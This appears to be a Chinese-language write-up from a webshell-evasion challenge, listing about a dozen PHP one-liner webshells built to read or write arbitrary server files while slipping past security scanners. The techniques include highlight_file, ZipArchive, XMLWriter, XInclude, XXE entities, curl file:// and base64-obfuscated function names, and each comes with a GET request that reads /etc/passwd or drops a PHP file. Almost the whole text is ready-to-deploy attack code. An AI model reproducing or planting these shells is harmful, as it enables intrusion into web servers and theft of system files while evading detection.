本期的伏魔挑战赛新增多功能场景的玩法,主要包括四大场景:
本文主要对任意文件读取和任意文件写入进行免杀。主要存在三种思路:
用源码高亮函数highlight_file读取文件
<?php $tmp = filter_input_array(2-1); @highlight_file($tmp["file"]);
highlight_file的别名函数show_source
<?php $tmp = filter_input_array(2-1); @show_source($tmp["file"]);
利用ZipArchive类写入文件的思路:将写入的内容先写进压缩包中,再进行解压缩至任意目录
<?php $zip = new ZipArchive(); $tmp = filter_input_array(2-1); $zipTmpPath = $tmp["tmpzip"]; if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) { exit("cannot open <$zipTmpPath>\n"); } $zip->addFromString($tmp["filename"], $tmp["content"]); $zip->close(); if($zip->open($zipTmpPath) !== TRUE){ exit("cannot open <$zipTmpPath>\n"); } $flag = $zip->extractTo($tmp["filePath"]); echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write"; $zip->close(); unlink($zipTmpPath);
利用方式(get请求):
?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmp
各个参数解释:确保tmpzip
参数和filePath
参数所表示的目录有写入权限
利用ZipArchive读取文件的思路:将要读取的文件添加到压缩包中,读取压缩包中的文件内容
<?php $tmp = filter_input_array(2-1); $zipTmpPath = $tmp["tmpzip"]; $filename = $tmp["file"]; $zip = new ZipArchive(); if($zip -> open($zipTmpPath, ZipArchive::OVERWRITE)){ exit("cannot open <$zipTmpPath>\n"); } $zip -> addFile($filename,basename($filename)); $zip->close(); if($zip->open($zipTmpPath) !== TRUE){ exit("cannot open <$zipTmpPath>\n"); } echo $zip->getFromName(basename($filename)); $zip->close();
利用方式(get请求):
?tmpzip=/tmp/tgao.zip&file=/etc/passwd
各个参数解释:确保tmpzip参数所表示的目录有写入权限
<?php $tmp = filter_input_array(1); $w = new XMLWriter(); $w->openUri($tmp["file"]); $w->writeRaw($tmp["content"]);
利用方式:?file=/tmp/test&content=hello
另外php是个神奇的语言,XMLWriter类的openUri和writeRaw方法可以直接调用,即不通过创建XMLWriter类,具体如下:
<?php $tmp = filter_input_array(1); $w = xmlwriter_open_uri($tmp["file"]); xmlwriter_write_raw($w,$tmp["content"]);
<?php $b = filter_input(1,"file"); $fileinfo = new SplFileInfo($b); $fileobj = $fileinfo->openFile("r"); while (!$fileobj->eof()) { echo $fileobj->fgets()."</br>"; }
利用方式:?file=/etc/passwd
<?php $a = filter_input(1,"file");; $xml = <<<EOD <?xml version="1.0" ?> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="$a" parse="text"/> </root> EOD; $dom = new DOMDocument; $dom->preserveWhiteSpace = false; $dom->formatOutput = true; $dom->loadXML($xml); $dom->xinclude(); echo $dom->saveXML();
利用方式:?file=/etc/passwd
<?php $tmp = filter_input_array(1); $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///".$tmp["file"]."\"> ]> <root> <name>&xxe;</name> </root>"; $data = new SimpleXMLElement($xml,2); echo $data->name;
利用方式:?file=/etc/passwd
SimpleXMLIterator是SimpleXMLElement子类...
<?php $tmp = filter_input_array(1); $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///".$tmp["file"]."\"> ]> <root> <name>&xxe;</name> </root>"; $data = new SimpleXMLIterator($xml,2); echo $data->name;
利用方式:?file=/etc/passwd
利用simplexml_load_string去调用SimpleXMLElement
<?php $xml = filter_input(1,"file"); $xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///".$xml."\"> ]> <root> <name>&xxe;</name> </root>"; $data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); echo $data->name;
利用方式:?file=/etc/passwd
<?php $tmp = filter_input_array(1); $url = "file:///".$tmp["file"]; if (function_exists('curl_init') && function_exists('curl_exec')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($ch); curl_close($ch); echo $data; }else{ echo "no curl extension"; }
利用方式:?file=/etc/passwd
<?php $read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?="); $open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?="); $size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?="); $file = $_GET["file"]; $fp = $open($file, "r"); $str = $read($fp, $size($file)); echo $str;
利用方式:?file=/etc/passwd
<?php $headers_string = <<<EOF Subject: =?UTF-8?B?ZmlsZQ==?= Received: from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <[email protected]>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from [email protected]) EOF; $headers = iconv_mime_decode_headers($headers_string, 0, ""); $Subject = $headers["Subject"]; $file_arr = $Subject($_GET["file"]); foreach($file_arr as $value){ echo $value."<br />"; }
利用方式:?file=/etc/passwd
大佬带带!!!